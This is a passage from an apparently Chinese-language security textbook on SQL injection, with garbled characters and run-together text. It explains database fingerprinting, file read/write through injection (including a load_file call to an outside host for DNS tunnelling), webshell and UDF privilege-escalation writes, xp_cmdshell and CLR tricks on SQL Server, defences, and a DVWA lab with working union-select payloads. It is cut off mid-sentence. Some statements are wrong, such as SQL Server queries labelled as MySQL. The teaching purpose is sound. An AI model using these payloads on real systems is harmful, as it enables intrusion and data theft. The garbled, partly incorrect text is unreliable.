5.2項(xiàng)目實(shí)施流程ERROR1146(42S02):Table’foo.bar'doesn’texist不難發(fā)現(xiàn),數(shù)據(jù)庫通常事先為每條錯(cuò)誤消息規(guī)劃了一個(gè)編碼,用于唯一地標(biāo)識(shí)錯(cuò)誤類型。再看一個(gè)例子,有可能猜出產(chǎn)生下列錯(cuò)誤的數(shù)據(jù)庫服務(wù)器:ORA-01773:maynotspecifycolumndatatypesinthisCREATETABLE開頭的“ORA”即為提示信息:安裝的是Oracle!提供了一個(gè)完整的Oracle錯(cuò)誤消息庫。然而有時(shí),具有啟示意義的關(guān)鍵信息并非來自于數(shù)據(jù)庫服務(wù)器本身,而是來自于訪問數(shù)據(jù)庫的技術(shù)。例如,請(qǐng)看下面的錯(cuò)誤:Pg_query():Queryfailed:ERROR:unterminatedquotedstringatornear"'"atcharacter69in/var/www/php/somepge.phponline20這里并沒有提及數(shù)據(jù)庫服務(wù)器技術(shù),但是有一個(gè)特定數(shù)據(jù)庫產(chǎn)品所獨(dú)有的錯(cuò)誤代碼。PHP使用pg_query函數(shù)(以及己經(jīng)棄用的版本pg_exec函數(shù))對(duì)PostgreSQL數(shù)據(jù)庫執(zhí)行查詢,因此可以立即推斷出后臺(tái)運(yùn)行的數(shù)據(jù)庫服務(wù)器是PostgreSQL。5.2項(xiàng)目實(shí)施流程獲取標(biāo)志信息從錯(cuò)誤消息中可以獲取相當(dāng)準(zhǔn)確的關(guān)于Web應(yīng)用保存數(shù)據(jù)所使用技術(shù)的信息。但這些信息還不夠,需要獲取更多信息。例如,在前面第一個(gè)例子中,我們發(fā)現(xiàn)遠(yuǎn)程數(shù)據(jù)庫為SQLServer,但該產(chǎn)品包含很多種版本;最通用的版本為SQLServer2005和2008但仍然有很多應(yīng)用使用的是SQLServer2000。如果能夠發(fā)現(xiàn)更多細(xì)節(jié)信息,比如準(zhǔn)確版本和補(bǔ)丁級(jí)別,那么將有助于快速了解遠(yuǎn)程數(shù)據(jù)庫是否存在一些可利用的、眾所周知的漏洞。如果Web應(yīng)用返回了所注入查詢的結(jié)果,要弄清其準(zhǔn)確技術(shù)通常會(huì)很容易。所有主流數(shù)據(jù)庫技術(shù)都至少允許通過一條特定的查詢來返回軟件的版本信息。要做的是讓W(xué)eb應(yīng)用返回該查詢的結(jié)果。下表中給出了各種特定技術(shù)所對(duì)應(yīng)的查詢示例,它們將返回包含準(zhǔn)確數(shù)據(jù)庫服務(wù)器版本信息的字符串。

5.2項(xiàng)目實(shí)施流程數(shù)據(jù)庫服務(wù)器查詢MicrosoftSQLServerSELECT@@versionMySQLSELECTversion()SELECT@@versionOracleSELECTbannerFROMv$versionSELECTbannerFROMv$versionWHERErownum=1PostgreSQLSELECTversion()例如,對(duì)SQLServer2008RTM,執(zhí)行SELECT@@version查詢時(shí),將得到下列信息:5.2項(xiàng)目實(shí)施流程這里面包含了很多的信息。不僅包含了SQLServer的精確版本和補(bǔ)丁級(jí)別,還包含了數(shù)據(jù)庫安裝于其上的操作系統(tǒng)的信息。比如“NT5.2”指的是WindowsServer2003,在上面安裝了ServicePack2補(bǔ)丁。MicrosoftSQLServer產(chǎn)生的消息非常詳細(xì),因而要想產(chǎn)生一條包含@@version值的消息并不難。例如,對(duì)于數(shù)字型注入,只需簡單地在應(yīng)用希望得到數(shù)字值的地方注入該變量名就可以觸發(fā)一個(gè)類型轉(zhuǎn)換錯(cuò)誤。參考例子URL:http://www./products.asp?id=@@version。MicrosoftSQLServer并不是唯一會(huì)返回底層操作系統(tǒng)和系統(tǒng)架構(gòu)信息的數(shù)據(jù)庫,PostgreSQL數(shù)據(jù)庫也會(huì)返回大量信息。比如運(yùn)行SELECTversion()查詢的返回結(jié)果:PostgreSQL9.1.1oni686-pc-linux-gnu,compiledbyi686-pc-linuxqnu-gcc(GentooHardened4.4.5p1.2,pie一0.9.5,32-bit)5.2項(xiàng)目實(shí)施流程從上面的信息中,可以知道PostgreSQL數(shù)據(jù)庫的版本,還知道了底層Linux操作系統(tǒng)的種類(HardenedGentoo)、系統(tǒng)架構(gòu)(32位),以及用于編譯數(shù)據(jù)庫服務(wù)器自身的編譯器的版本(gcc4.4.5)。在某些情況下,所有這些信息都可能變得非常有用,比如在執(zhí)行SQL注入之后,我們發(fā)現(xiàn)了某種內(nèi)存讀取錯(cuò)誤(memorycorruptionbug)漏洞,并且想利用它在操作系統(tǒng)層級(jí)擴(kuò)展攻擊的影響。

5.2項(xiàng)目實(shí)施流程盲跟蹤如果應(yīng)用不直接在響應(yīng)中返回所需要的信息,要想了解后臺(tái)使用的技術(shù),就需要采用一種間接方法。這種間接方法基于不同數(shù)據(jù)庫服務(wù)器所使用的SQL“方言”上的細(xì)微差異。最常用的技術(shù)是利用不同產(chǎn)品在連接字符串方式上的差異。以下面的簡單查詢?yōu)槔篠ELECT'somestring'該查詢對(duì)主流數(shù)據(jù)庫服務(wù)器都是有效的,但如果想將其中的字符串分成兩個(gè)子串,不同產(chǎn)品間便會(huì)出現(xiàn)差異。具體來講,可以利用下表列出的差異來進(jìn)行推斷5.2項(xiàng)目實(shí)施流程因此,如果擁有個(gè)可注入的字符串參數(shù),便可以嘗試不同的連接語法。通過判斷哪一個(gè)請(qǐng)求會(huì)返回與原始請(qǐng)求相同的結(jié)果,可以推斷出遠(yuǎn)程數(shù)據(jù)庫的技術(shù)。

假使沒有可用的易受攻擊字符串參數(shù),則可以使用與數(shù)字參數(shù)類似的技術(shù)。具體來講,需要一條針對(duì)特定技術(shù)的SQL語句,經(jīng)過計(jì)算后它能成為一個(gè)數(shù)字。下表中的所有表達(dá)式在正確的數(shù)據(jù)庫下經(jīng)過計(jì)算后都會(huì)成為整數(shù),而在其他數(shù)據(jù)庫下將產(chǎn)生一個(gè)錯(cuò)誤表5-3從字符串推斷數(shù)據(jù)庫服務(wù)器版本數(shù)據(jù)庫服務(wù)器查詢MicrosoftSQLServerSELECT'some'+'string'MySQLSELECT'some''string'SELECTCONCAT('some','string')OracleSELECT'some'||'string'SELECTCONCAT('some','string')PostgreSQLSELECT'some'||'string'SELECTCONCAT('some','string')5.2項(xiàng)目實(shí)施流程數(shù)據(jù)庫服務(wù)器查詢MicrosoftSQLServer@@pack_received@@rowcountMySQLconnection_id()last_insert_id()row_count()OracleBITAND(1,1)PostgreSQLSELECTEXTRACT(DOWFROMNOW())最后,使用一些特定的SQL結(jié)構(gòu)(只適用于特定的SQL方言)也是一種有效技術(shù),在大多數(shù)情況下均能工作良好。例如,成功地注入WAITFORDELAY也可以很清楚地從側(cè)面反映出服務(wù)器端使用的是MicrosoftSQLServer。而成功注入SELECTpg_sleep(10)則是一個(gè)明顯的信號(hào),說明服務(wù)器端使用的是PostgreSQL(版本至少是8.2)。如果是MySQL可以使用一個(gè)有趣的技巧來確定其準(zhǔn)確版本。對(duì)MySQL可使用三種不同方法來包含注釋:1)在行尾加一個(gè)#字符。2)在行尾加一個(gè)“--”序列(不要忘記第二個(gè)連字符后面的空格)。3)在一個(gè)“/*”序列后再跟一個(gè)“*/”序列,位于兩者之間的即為注釋。5.2項(xiàng)目實(shí)施流程可對(duì)第三種方法做進(jìn)一步調(diào)整:如果在注釋的開頭部分添加一個(gè)感嘆號(hào)并在后面跟上數(shù)據(jù)庫版本編號(hào),那么該注釋將被解析成代碼,只要安裝的數(shù)據(jù)庫版本高于或等于注釋中包含的版本,代碼就會(huì)被執(zhí)行??聪旅鍹ySQL查詢:SELECT1/*!40119+1*/該查詢將返回下列結(jié)果:2(如果MySQL版本為4.01.19或更高版本)1(其他情況)5.2項(xiàng)目實(shí)施流程SQL注入可以直接使用SQL注入,也可以利用對(duì)文件讀寫時(shí)進(jìn)行注入。下面介紹SQL注入中對(duì)文件讀寫的基本使用方法。(1)MySQL數(shù)據(jù)庫中對(duì)文件讀寫1)讀文件基本讀文件:selectload_file('c:/boot.ini')。用16進(jìn)制代替字符串:selectload_file(0x633a2f626f6f742e696e69)。smb協(xié)議:selectload_file('//ecma.io/1.txt')。用于DNS隧道:selectload_file('\\\\ecma.io\\1.txt')。2)寫文件基本方法:select‘test’intooutfile'D:/1.txt'?;痉椒ǎ簊elect‘test’intodumpfile'D:/1.txt'。用十六進(jìn)制代替字符串:select0x313233intooutfile'D:/1.txt'。用十六進(jìn)制代替字符串:select0x313233intodumpfile'D:/1.txt'。利用SQL對(duì)文件讀寫

5.2項(xiàng)目實(shí)施流程。3)select……intooutfile與select……intodumpfile使用區(qū)別:在導(dǎo)出數(shù)據(jù)庫文件方面的區(qū)別:outfile函數(shù)可以導(dǎo)出多行,而dumpfile只能導(dǎo)出一行數(shù)據(jù)。outfile函數(shù)在將數(shù)據(jù)寫到文件時(shí)會(huì)有特殊的格式轉(zhuǎn)換,將數(shù)據(jù)表中的每行數(shù)據(jù)添加自動(dòng)換行,即在行末尾添加新的換行符;而dumpfile則保持原數(shù)據(jù)格式,雖然只能導(dǎo)出部分?jǐn)?shù)據(jù)。在寫入webshell或者udf下提權(quán)的區(qū)別:outfile對(duì)導(dǎo)出內(nèi)容中的\n、\r等特殊字符進(jìn)行了轉(zhuǎn)義,并且在文件內(nèi)容的末尾增加了一個(gè)新行,因此會(huì)對(duì)可執(zhí)行二進(jìn)制文件造成語法結(jié)構(gòu)上的破壞,不能被正確執(zhí)行。intodumpfile函數(shù)不對(duì)任何列或行進(jìn)行終止,也不執(zhí)行任何轉(zhuǎn)義處理,在無web腳本執(zhí)行但是有MySQLroot執(zhí)行的環(huán)境下,可以通過intodumpfile函數(shù)導(dǎo)入udf.dll進(jìn)行提權(quán),或者寫入木馬文件。outfile適合導(dǎo)出數(shù)據(jù)庫文件,dumpfile適合寫入可執(zhí)行文件。5.2項(xiàng)目實(shí)施流程SQLServer數(shù)據(jù)庫對(duì)文件讀寫1)讀文件BULKINSERT1:createtableresult(resvarchar(8000));2:bulkinsertresultfrom'd:/1.txt';CLR集成1://開啟CLR集成2:execsp_configure'showadvancedoptions',1;3:reconfigure;4:execsp_configure'clrenabled',15:reconfigureoutfile函數(shù)后面不能接0x開頭或char轉(zhuǎn)換后的路徑,只能是單引號(hào)路徑。這個(gè)問題在PHP注入中是非常麻煩的,因?yàn)闀?huì)自動(dòng)將單引號(hào)轉(zhuǎn)義成“\'”,基本就失去作用了。load_file后面的路徑中可以包含單引號(hào)、0x、char轉(zhuǎn)換的字符,但是路徑中的斜杠是“/”而不是“\”。5.2項(xiàng)目實(shí)施流程語句createassemblysqbfrom'd:\1.exe'withpermission_set=unsafe可以利用createassembly函數(shù)從遠(yuǎn)程服務(wù)器加載任何.NET二進(jìn)制文件到數(shù)據(jù)庫中,但它會(huì)驗(yàn)證是否為合法的NET程序,從而導(dǎo)致失敗。語句selectmaster.dbo.fn_varbintohexstr(cast(contentasvarbinary))fromsys.assembly_files

是讀取方式。繞過驗(yàn)證,首先要加載一個(gè)有效的.NET二進(jìn)制文件,然后追加文件即可,下面是繞過方法:createassemblysqbfrom'd:\net.exe';alterassemblysqbaddfilefrom'd:\1.txt'alterassemblysqbaddfilefrom'd:\notnet.exe'

5.2項(xiàng)目實(shí)施流程通過OLEAutomation讀取文件,Script.FileSystemObject

方法示例如下:#開啟OleAutomationProceduressp_configure'showadvancedoptions',1;RECONFIGURE;sp_configure'OleAutomationProcedures',1;RECONFIGURE;declare@oint,@fint,@tint,@retintdeclare@linevarchar(8000)execsp_oacreate'scripting.filesystemobject',@ooutexecsp_oamethod@o,'opentextfile',@fout,'d:\1.txt',1exec@ret=sp_onmethod@f,'readline',@lineoutwhile(@ret=0)beginprint@lineexec@ret=sp_oamethod@f,'readline',@lineoutend5.2項(xiàng)目實(shí)施流程2)寫文件Script.FileSystemObject方法,案例如下:1:declare@oint,@fint,@tint,@retint2:declare@linevarchar(8000)3:execsp_oacreate'scripting.filesystemobject',@oout4:execsp_oamethod@o,'createtextfile',@fout,'e:\1.txt',15:exec@ret=sp_oamethod@f,'writeline',NULL,'Thisistheteststring’BCP復(fù)制文件,示例如下:c:\windows>system32>bcp"selectnamefromsysobjects"querytestout.txt-c-s-Usa-p"sa"xp_cmdshellexecxp_cmdshell'echotest>d:\1.txt'5.2項(xiàng)目實(shí)施流程Sqlmap注入軟件簡介Sqlmap是一款開源的、用于SQL注入漏洞檢測及利用的工具,它會(huì)檢測動(dòng)態(tài)頁面中g(shù)et/post參數(shù)、cookie、http頭,進(jìn)行數(shù)據(jù)榨取、文件系統(tǒng)訪問和操作系統(tǒng)命令執(zhí)行,另外還可以進(jìn)行Xss漏洞檢測。它由python語言開發(fā)而成,因此運(yùn)行需要安裝python環(huán)境。具體參數(shù)注釋與使用方法,可以參考下面兩個(gè)網(wǎng)址內(nèi)容:1)Sqlmap用戶手冊:/hongfei/p/3872156.html2)Sqlmap參數(shù)學(xué)習(xí)筆記:/ski_12/article/details/58188331

5.2項(xiàng)目實(shí)施流程防御SQL注入攻擊Web開發(fā)人員認(rèn)為SQL查詢請(qǐng)求是可以信賴的操作,但事實(shí)恰恰相反,他們沒有考慮用戶或攻擊者可以控制這些查詢請(qǐng)求的參數(shù),并且可以在其中輸入符合語法的SQL命令。解決SQL注入攻擊的方法歸結(jié)為對(duì)特殊字符的過濾,包括URL、表格域,以及用戶可以控制的任何輸入數(shù)據(jù)。與SQL語法相關(guān)的特殊字符及保留字應(yīng)當(dāng)在查詢請(qǐng)求提交到數(shù)據(jù)庫之前被過濾或被去除(如跟在反斜杠后面的單引號(hào))。過濾操作最好在服務(wù)器上進(jìn)行。將過濾操作代碼插入客戶端執(zhí)行的HTML中是不明智的,因?yàn)楣粽呖梢孕薷尿?yàn)證程序。防止破壞的唯一途徑就是在服務(wù)器上執(zhí)行過濾操作。避免SQL注入攻擊更加可靠的方式是使用存儲(chǔ)過程。具體可以通過以下方法來防御SQL注入攻擊。

5.2項(xiàng)目實(shí)施流程(1)對(duì)前臺(tái)傳入?yún)?shù)按照數(shù)據(jù)類型進(jìn)行嚴(yán)格匹配(如查看描述數(shù)據(jù)類型的變量字符串中是否存在字母)。(2)對(duì)于單一變量,如果有必要,應(yīng)過濾或替換輸入數(shù)據(jù)中的空格。(3)將一個(gè)單引號(hào)(“'”)替換成兩個(gè)連續(xù)的單引號(hào)(“''”)。(4)限制輸入數(shù)據(jù)的有效字符種類,排除對(duì)數(shù)據(jù)庫操作有特殊意義的字符(如“--”)。(5)限制表單或查詢字符串輸入的長度。(6)用存儲(chǔ)過程來執(zhí)行所有的查詢。(7)檢查提取數(shù)據(jù)的查詢所返回的記錄數(shù)量。如果程序只要求返回一個(gè)記錄,但實(shí)際返回的記錄卻超過一行,那就作為錯(cuò)誤處理。(8)將用戶登錄名稱、密碼等數(shù)據(jù)加密保存。加密用戶輸入的數(shù)據(jù),然后將它與數(shù)據(jù)庫中保存的數(shù)據(jù)進(jìn)行比較,這相當(dāng)于對(duì)用戶輸入的數(shù)據(jù)進(jìn)行了殺毒處理,用戶輸入的數(shù)據(jù)不再對(duì)數(shù)據(jù)庫有任何特殊的意義,也就阻止了攻擊者注入SQL命令。5.2項(xiàng)目實(shí)施流程總而言之,就是要盡可能地限制用戶可以存取的數(shù)據(jù)總數(shù)。另外,對(duì)用戶要按“最小特權(quán)”安全原則分配權(quán)限,即使發(fā)生了SQL注入攻擊,結(jié)果也被限制在那些可以被正常訪問到的數(shù)據(jù)中。

5.3項(xiàng)目小結(jié)通過前一節(jié)的項(xiàng)目分析,介紹了SQL注入實(shí)施攻擊的步驟和原理。SQL注入的本質(zhì)是惡意攻擊者將SQL代碼插入或添加到程序的參數(shù)中,而程序并沒有對(duì)傳入的參數(shù)進(jìn)行正確處理,導(dǎo)致參數(shù)中的數(shù)據(jù)會(huì)被當(dāng)做代碼來執(zhí)行,并最終將執(zhí)行結(jié)果返回給攻擊者。利用SQL注入漏洞,攻擊者可以操縱數(shù)據(jù)庫的數(shù)據(jù),如得到數(shù)據(jù)庫中的機(jī)密數(shù)據(jù)、隨意更改數(shù)據(jù)庫中的數(shù)據(jù)、刪除數(shù)據(jù)庫等等,在得到一定權(quán)限后還可以掛馬,甚至得到整臺(tái)服務(wù)器的管理員權(quán)限。由于SQL注入是通過網(wǎng)站正常端口(通常為80端口)來提交惡意SQL語句,表面上看起來和正常訪問網(wǎng)站沒有區(qū)別,如果不仔細(xì)查看WEB日志很難發(fā)現(xiàn)此類攻擊,隱蔽性非常高。一旦程序出現(xiàn)SQL注入漏洞,危害相當(dāng)大,所以我們對(duì)此應(yīng)該給予足夠的重視。本項(xiàng)目完成后,需要提交項(xiàng)目總結(jié)內(nèi)容清單如下所示:5.3項(xiàng)目小結(jié)需要提交項(xiàng)目總結(jié)內(nèi)容清單序號(hào)清單項(xiàng)名稱備注1項(xiàng)目準(zhǔn)備說明包括人員分工、實(shí)驗(yàn)環(huán)境搭建、材料工具等,2項(xiàng)目需求分析內(nèi)容包括介紹SQL注入攻擊的主要步驟和一般流程;分析SQL注入攻擊的主要原理、常見攻擊工具的分類和特點(diǎn)。3項(xiàng)目實(shí)施過程內(nèi)容包括實(shí)施過程,具體配置步驟4項(xiàng)目結(jié)果展示內(nèi)容包括對(duì)目標(biāo)系統(tǒng)實(shí)施SQL注入攻擊和加固的結(jié)果,可以以截圖或錄屏的方式提供項(xiàng)目結(jié)果。5.4項(xiàng)目訓(xùn)練5.4.1實(shí)驗(yàn)環(huán)境本項(xiàng)目的實(shí)驗(yàn)環(huán)境安裝在WindowsXP虛擬機(jī)中,使用Python2.7、DVWA1.9、XAMPP搭建。還要使用“中國菜刀”、BurpSuite、sqlmap等工具,安裝文件有burpsuite_pro_v1.7.03、jre-8u111-windows-i586_8.0.1110.14、Firefox_152_setup。在本實(shí)驗(yàn)中使用物理機(jī)作為攻擊機(jī),虛擬機(jī)作為靶機(jī)。5.4項(xiàng)目訓(xùn)練5.4.2任務(wù)1利用簡單的SQL注入分析攻擊原理在任務(wù)1中主要里利用DVWA實(shí)驗(yàn)平臺(tái)分析命令注入漏洞攻擊原理。1、打開靶機(jī)虛擬機(jī),在虛擬機(jī)中打開桌面上的xampp程序確保Apache服務(wù)器與數(shù)據(jù)庫MySQL處于運(yùn)行狀態(tài),如下圖所示:5.4項(xiàng)目訓(xùn)練2.查看靶機(jī)IP地址。開啟DOS窗口,運(yùn)行ipconfig命令,查看當(dāng)前靶機(jī)IP地址如下圖所示:5.4項(xiàng)目訓(xùn)練3、在攻擊機(jī)中打開瀏覽器輸入靶機(jī)的ip地址,因?yàn)槲覀兪窃贒VWA平臺(tái)中進(jìn)行滲透測試,因此完整的路徑為靶機(jī)ip地址+dvwa,具體為“31/dvwa/login.php”,在滲透平臺(tái)中需要使用用戶名與密碼登錄,默認(rèn)賬號(hào)為用戶名:admin;密碼:password。如下圖所示:5.4項(xiàng)目訓(xùn)練4、在登錄平臺(tái)后可以看到如下圖所示界面,在左側(cè)列表中選擇DVWASecurity設(shè)置平臺(tái)的安全級(jí)別,在本次實(shí)驗(yàn)中主要是利用SQL攻擊分析漏洞存在原理,因此設(shè)置安全級(jí)別為“l(fā)ow”然后提交。5.4項(xiàng)目訓(xùn)練5、在圖所示中,選擇左側(cè)列表中的SQLInjection,進(jìn)行SQL注入實(shí)驗(yàn)。在下圖所示實(shí)驗(yàn)環(huán)境中,進(jìn)行正常的數(shù)據(jù)輸入。根據(jù)環(huán)境提示,需要輸入userID,在文本框中輸入數(shù)字“1”,然后提交,返回結(jié)果如下圖所示。能夠正常返回userID為1的Firstname與Surname的值。5.4項(xiàng)目訓(xùn)練6、反復(fù)測試,查看輸入錯(cuò)誤數(shù)據(jù)時(shí)系統(tǒng)會(huì)返回怎樣的信息,通過返回信息分析系統(tǒng)可能存在的漏洞類型、數(shù)據(jù)庫類型等。在使用合法數(shù)據(jù)測試的過程中,發(fā)現(xiàn)輸入“6”時(shí)可以返回正常結(jié)果,輸入“7”時(shí)沒有任何數(shù)據(jù)返回,如圖所示,輸入非數(shù)字值(如“m”)時(shí)也沒有任何數(shù)據(jù)返回。7、通過上面數(shù)據(jù)輸入與返回結(jié)果,可以分析出,在數(shù)據(jù)獲取方法中使用的是select語句,即所謂的選擇性注入類型,數(shù)據(jù)正確時(shí)返回?cái)?shù)據(jù),錯(cuò)誤數(shù)據(jù)無返回值。5.4項(xiàng)目訓(xùn)練8、通過前面的分析發(fā)現(xiàn)獲取的數(shù)據(jù)利用價(jià)值不大,因此需要進(jìn)一步測試。第一步要測試是否存在注入漏洞,第二步要測試注入類型是數(shù)值型還是字符型。在“UserID”文本框中輸入“1'”,這是明顯的錯(cuò)誤數(shù)據(jù),查看返回結(jié)果是否有利用價(jià)值。返回結(jié)果如圖5-11所示。5.4項(xiàng)目訓(xùn)練9、分析上面的返回結(jié)果,得到3條信息。第一,數(shù)據(jù)庫類型為MySQL數(shù)據(jù)庫,具體的數(shù)據(jù)庫版本需要進(jìn)一步測試;第二,此文本框中的數(shù)據(jù)在SQL語句處理中為字符型數(shù)據(jù),“1'”存在的錯(cuò)誤為缺少了一個(gè)單引號(hào),造成語法錯(cuò)誤,具體是不是存在字符型注入漏洞需要進(jìn)一步測試;第三,該返回結(jié)果為MySQL數(shù)據(jù)庫的錯(cuò)誤代碼,在系統(tǒng)中可能調(diào)用了mysql_error()函數(shù)。10、進(jìn)一步判斷是否存在SQL注入漏洞,以及注入類型,userID中輸入SQL注入語句“1or1=1”,查看返回結(jié)果,如下圖(5-12)所示。在該返回值中可以看出,存在注入漏洞,但不是數(shù)值型的,需要進(jìn)一步測試。11、在userID中輸入“1’or‘1’=’1”,并提交,查看返回值如圖(5-13)所示,由該返回結(jié)果可以確定存在字符型注入漏洞。5.4項(xiàng)目訓(xùn)練12、由圖5-13返回結(jié)果可以確定存在字符型SQL注入漏洞,通過源碼分析上面注入代碼分析注入原理,該功能處理函數(shù)源代碼如下所示5.4項(xiàng)目訓(xùn)練<?phpif(

isset(

$_REQUEST['Submit']

)

)

{

$id

=

$_REQUEST['id'];//

獲取?id?的值

//

連接數(shù)據(jù)庫,篩選數(shù)據(jù)

$query

=

"SELECT

first_name,

last_name

FROM

users

WHERE

user_id

='$id';";

$result

=mysql_query($query)

or

die('<pre>'.

mysql_error().'</pre>');

//

Get

results

$num

=

mysql_numrows(

$result

);

$i

=

0;

while(

$i

<

$num

)

{

//

Get

values

$first

=

mysql_result(

$result,

$i,

"first_name"

);

$last

=

mysql_result(

$result,

$i,

"last_name"

);

//

Feedback

for

end

user

echo

"<pre>ID:

{$id}<br

/>First

name:

{$first}<br

/>Surname:

{$last}</pre>";

//

Increase

loop

count

$i++;

}

mysql_close();}?>5.4項(xiàng)目訓(xùn)練通過上述源碼可以看到,在從頁面中通過request方法獲取到id的之后,沒有對(duì)獲取到的值做任何處理,直接在SQL命令語句中進(jìn)行使用。如果存在正確的數(shù)據(jù)輸入,如果存在查詢結(jié)果,將結(jié)果返回;如果查詢不到結(jié)果,將不返回結(jié)果。如果SQL命令語句存在錯(cuò)誤,將使用mysql_error()函數(shù),進(jìn)行錯(cuò)誤處理。使用注入值替換id的值,分析SQL命令語句的語法結(jié)構(gòu)。注入“1”時(shí),SELECTfirst_name,last_nameFROMusersWHEREuser_id='$id'中$id的值為1,替換后為SELECTfirst_name,last_nameFROMusersWHEREuser_id='1',這是不存在語法錯(cuò)誤的命令語句。當(dāng)注入的值為“1'”時(shí),替換后為SELECTfirst_name,last_nameFROMusersWHEREuser_id='1'',可以看到在語句中有3個(gè)單引號(hào),無法滿足單引號(hào)閉合,因此出現(xiàn)命令語句語法錯(cuò)誤。5.4項(xiàng)目訓(xùn)練SQL注入的語句要滿足基本的語法規(guī)則,因此,存在字符型SQL注入漏洞的地方需要進(jìn)行注入語句構(gòu)造以滿足單引號(hào)閉合。再次分析WHEREuser_id='$id'部分,為了能夠讓SQL語句執(zhí)行,只要WHERE部分的值為真值即可。需要注意的是'$id',在$id前后分別有一個(gè)單引號(hào),因此在輸入的數(shù)值前要有一個(gè)單引號(hào),數(shù)值后也要有一個(gè)單引號(hào)。在構(gòu)造注入語句時(shí)需要使前、后兩個(gè)單引號(hào)完成閉合。輸入“1'”,可以使數(shù)據(jù)1完成與前面單引號(hào)的閉合,然后構(gòu)造語句使WHERE為真值。在or條件表達(dá)式中,只要有一個(gè)值為真值,整個(gè)條件表達(dá)式就為真值。因此,選擇使用or構(gòu)造真值,真值的構(gòu)造為nor1=1,不管n是否為真,整體都為真值。構(gòu)造字符型條件為or'1'='1,后面一個(gè)1只有前面的單引號(hào)是因?yàn)樵瓉淼恼Z句中還存在一個(gè)后面的單引號(hào),因此需要構(gòu)造兩個(gè)單引號(hào)實(shí)現(xiàn)閉合。所以id值為1'or'1'='1,在SQL語句中用注入語句替換$id后為SELECTfirst_name,last_nameFROMusersWHEREuser_id='1'or'1'='1',構(gòu)造后的SQL注入語句WHERE條件為真值,因此將數(shù)據(jù)庫中的所有first_name和last_name都篩選出來,上述SQL語句的功能等同于SELECTfirst_name,last_nameFROMusers。5.4項(xiàng)目訓(xùn)練通過上面SQL注入的原理分析可以得到,系統(tǒng)中存在注入點(diǎn),構(gòu)造的注入語句要符合兩個(gè)條件:第一要滿足符號(hào)閉合;第二要構(gòu)造真值,或者構(gòu)造可執(zhí)行命令語句。在構(gòu)造閉合時(shí),除可以使用前、后單引號(hào)外,還可以使用SQL語句的單行注釋符號(hào)“#”,在構(gòu)造好可執(zhí)行語句后加上一個(gè)單行注釋符號(hào),將后面的代碼全部注釋掉。使用單行注釋符號(hào)后的注入返回結(jié)果如圖5-14、圖5-15所示。5.4項(xiàng)目訓(xùn)練5.4.3任務(wù)2利用PHP程序搜索實(shí)現(xiàn)對(duì)MySQL數(shù)據(jù)庫的注入在5.2節(jié)的實(shí)驗(yàn)中,我們已經(jīng)判斷出當(dāng)前實(shí)驗(yàn)環(huán)境中的數(shù)據(jù)庫為MySQL數(shù)據(jù)庫。在后續(xù)實(shí)驗(yàn)步驟中,可以選擇適用于MySQL數(shù)據(jù)庫的方法與函數(shù)進(jìn)行注入。設(shè)置實(shí)驗(yàn)環(huán)境與注入判斷在5.2節(jié)中有詳細(xì)步驟,本節(jié)不再贅述。不同類型的數(shù)據(jù)庫,具有不同的查詢數(shù)據(jù)表的方法。在Oracle語句中,列舉當(dāng)前用戶可訪問的所有表:SELECTOWNER,TABLE_NAMEFROMALL_TABLESORDERBYTABLE_NAME;在MySQL語句中,列舉當(dāng)前用戶可訪問的所有表和數(shù)據(jù)庫:SELECTtable_schema,table_namefrominformation_schema.tables;5.4項(xiàng)目訓(xùn)練在MySQL語句中,使用系統(tǒng)列舉所有可訪問的表:SELECTnamefromsysobjectswherextype='u';在MySQL語句中,使用目錄視圖列舉所有可訪問的表:SELECTnamefromsys.tables;本實(shí)驗(yàn)可使用聯(lián)合查詢語句,查詢用戶可訪問的所有數(shù)據(jù)庫、數(shù)據(jù)表。注入語句為“1'unionselecttable_schemafrominformation_schema.tables#”,提交后返回結(jié)果如圖所示5.4項(xiàng)目訓(xùn)練分析返回結(jié)果,輸入的“union”后的select語句出現(xiàn)錯(cuò)誤,錯(cuò)誤的原因是列數(shù)不同。分析聯(lián)合查詢的使用方法“select列數(shù)1unionselect列數(shù)2”,可以發(fā)現(xiàn)聯(lián)合查詢要能夠正確執(zhí)行命令語句,需要列數(shù)1與列數(shù)2相同。通過分析可以得到,插入的聯(lián)合注入語句,只有一列“table_schema”數(shù)據(jù)庫名,union前的查詢是兩列,因此列數(shù)不同,造成語句不能被正確執(zhí)行。為了使注入語句能夠被正確執(zhí)行,需要構(gòu)造相同的列數(shù),在此可以使用一些數(shù)字作為列名,沒有實(shí)際意義,如數(shù)字“1”,也可以使用其他數(shù)字。注入語句為“1'unionselect1,table_schemafrominformation_schema.tables#”,提交后返回結(jié)果如圖所示。5.4項(xiàng)目訓(xùn)練由上圖的返回結(jié)果可以獲取當(dāng)前靶機(jī)服務(wù)器中的所有數(shù)據(jù)庫,關(guān)于information_schema的含義與使用方法可參考前面的基礎(chǔ)知識(shí)。該注入代碼的含義是從服務(wù)器中篩選出所有的數(shù)據(jù)庫“table_schema”。從返回結(jié)果可以看出靶機(jī)服務(wù)器中存在7個(gè)數(shù)據(jù)庫,在這里可以自行破解當(dāng)前數(shù)據(jù)庫,也可以逐個(gè)破解數(shù)據(jù)表,還可以將所有數(shù)據(jù)表列出來。。如果希望將靶機(jī)服務(wù)器中的數(shù)據(jù)表都列出來,可以使用注入語句“1'unionselect1,table_namefrominformation_schema.tables#”,提交后得到如圖所示的結(jié)果。5.4項(xiàng)目訓(xùn)練列出了當(dāng)前靶機(jī)服務(wù)器中的所有數(shù)據(jù)表(圖中未顯示完全)。要從如此多的數(shù)據(jù)表中篩選出感興趣的數(shù)據(jù)表難度較大,可以通過數(shù)據(jù)表的名稱推測數(shù)據(jù)表的具體功能。注入語句中的“table_name”為數(shù)據(jù)表名稱。5.4項(xiàng)目訓(xùn)練統(tǒng)計(jì)一下當(dāng)前數(shù)據(jù)庫中共有多少個(gè)數(shù)據(jù)表。使用注入語句“1'unionselect1,count(table_name)frominformation_schema.tables#”,在注入語句中使用count()函數(shù)統(tǒng)計(jì)數(shù)據(jù)表的個(gè)數(shù),提交后返回結(jié)果如圖所示由圖可以看出,靶機(jī)服務(wù)器中共有94個(gè)數(shù)據(jù)表。結(jié)合前面獲取的內(nèi)容,可以得到當(dāng)前靶機(jī)服務(wù)器中有7個(gè)數(shù)據(jù)庫和94個(gè)數(shù)據(jù)表。需要處理的數(shù)據(jù)較多,是否可以統(tǒng)計(jì)出每個(gè)數(shù)據(jù)庫分別包含哪些數(shù)據(jù)表呢?答案是肯定的,可以使用注入語句“1'unionselecttable_schema,table_namefrominformation_schema.tables#”,獲取每個(gè)數(shù)據(jù)庫中的數(shù)據(jù)表。雖然獲取了不同數(shù)據(jù)庫中的數